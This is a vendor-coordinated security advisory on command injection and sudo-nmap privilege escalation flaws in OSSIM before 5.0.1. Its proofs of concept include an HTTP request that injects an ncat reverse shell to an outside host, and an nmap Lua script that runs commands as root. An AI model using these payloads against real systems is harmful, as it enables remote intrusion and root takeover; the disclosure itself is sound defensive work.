Multiple vulnerabilities in OSSIM < 5.0.1

Description

Multiple vulnerabilities were found in OSSIM < 5.0.1:

- an authenticated arbitrary command execution vulnerability
- a local privilege escalation vulnerability

Authenticated arbitrary command execution

OSSIM launches a network discovery with the form located at http://IP/ossim/netscan/ but failed at sanitizing a supplied parameter (assets[]) when processing the request, resulting in an arbitrary command execution.

CVSS v2 Base Score: 6.5

CVSS v2 Vector: (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N)

AlienVault ID: ENG-99865

CVE-ID: CVE-2015-4046

Proof of Concept

```
GET /ossim/netscan/do_scan.php?assets%5B%5D=20003CBCDEC611E489FF000C2'
 ;ncat%20-e%20/bin/sh%20192.168.31.1%208088;echo'99CDC78%23192.168.31.
 67%2F32&searchbox=Type+here+to+search+assets&sensor=local&scan_mode=f
 ast&custom_ports=1-65535&timing_template=-T3&autodetect=1&rdns=1
 HTTP/1.1
Host: 192.168.31.67
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101
 Firefox/35.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

```
X-Requested-With: XMLHttpRequest
Referer: https://192.168.31.67/ossim/netscan/
Cookie: PHPSESSID=ii3vcqvm9por0qu3iolm4n8ir7
Connection: keep-alive
```

Vulnerable code

The vulnerable code is located in /usr/share/ossim/www/netscan/do_scan.php, line 176:

```
if ($data['status'] == 'success') { //Delete previous scan
$scan = new Scan(); $scan->delete_data();
    // Launch scan in background $cmd =
    "/usr/bin/php
/usr/share/ossim/scripts/vulnmeter/remote_nmap.php
'$assets_p' '$scanning_sensor' '$timing_template'
'$scan_mode' '" . Session::get_session_user() . "'
'$autodetect$
    system($cmd);
}
```

Solution

Upgrade to OSSIM 5.0.1

Local privilege escalation

OSSIM uses *sudo* to launch a nmap scan for network discovery, allowing privilege escalation through a specifically crafted nmap script.

CVSS v2 Base Score: 3.4

CVSS v2 Vector: (AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N)

AlienVault ID: ENG-99866

CVE-ID: CVE-2015-4045

Proof of Concept

```
python -c "import pty; pty.spawn('/bin/bash')"
www-data@alienvault:/usr/share/ossim/www/netscan$ id
uid=33(www-data) gid=33(www-data)
groups=33(www-data),103(alienvault),114(nagios)
www-data@alienvault:/usr/share/ossim/www/netscan$ echo 'local os =
 require "os"
os.execute("id")' > /tmp/exec
www-data@alienvault:/usr/share/ossim/www/netscan$ sudo nmap
--script=/tmp/exec 127.0.0.1 -p 80

Starting Nmap 6.40 ( http://nmap.org ) at 2015-04-09 16:09 CEST
NSE: Warning: Loading '/tmp/exec' -- the recommended file extension is
'.nse'.
uid=0(root) gid=0(root) groups=0(root)
```

Vulnerable code

/etc/sudoers

```
[...]
www-data ALL=NOPASSWD: /usr/bin/nmap
[...]
```

Solution

Upgrade to OSSIM 5.0.1

Timeline

- 04/17/2015: Vendor notified
- 04/18/2015: Vendor replied
- 04/22/2015: Vendor confirmed the vulnerabilities
- 05/12/2015: Vendor issued fix (included in version 5.0.1 of OSSIM)

Credits

- Vincent Hautot, Sysdream (v.hautot -at- sysdream -dot- com)
- Damien CAUQUIL, Sysdream (d.cauquil -at- sysdream -dot- com)

Contact

- Website: http://www.sysdream.com
- Twitter: @sysdream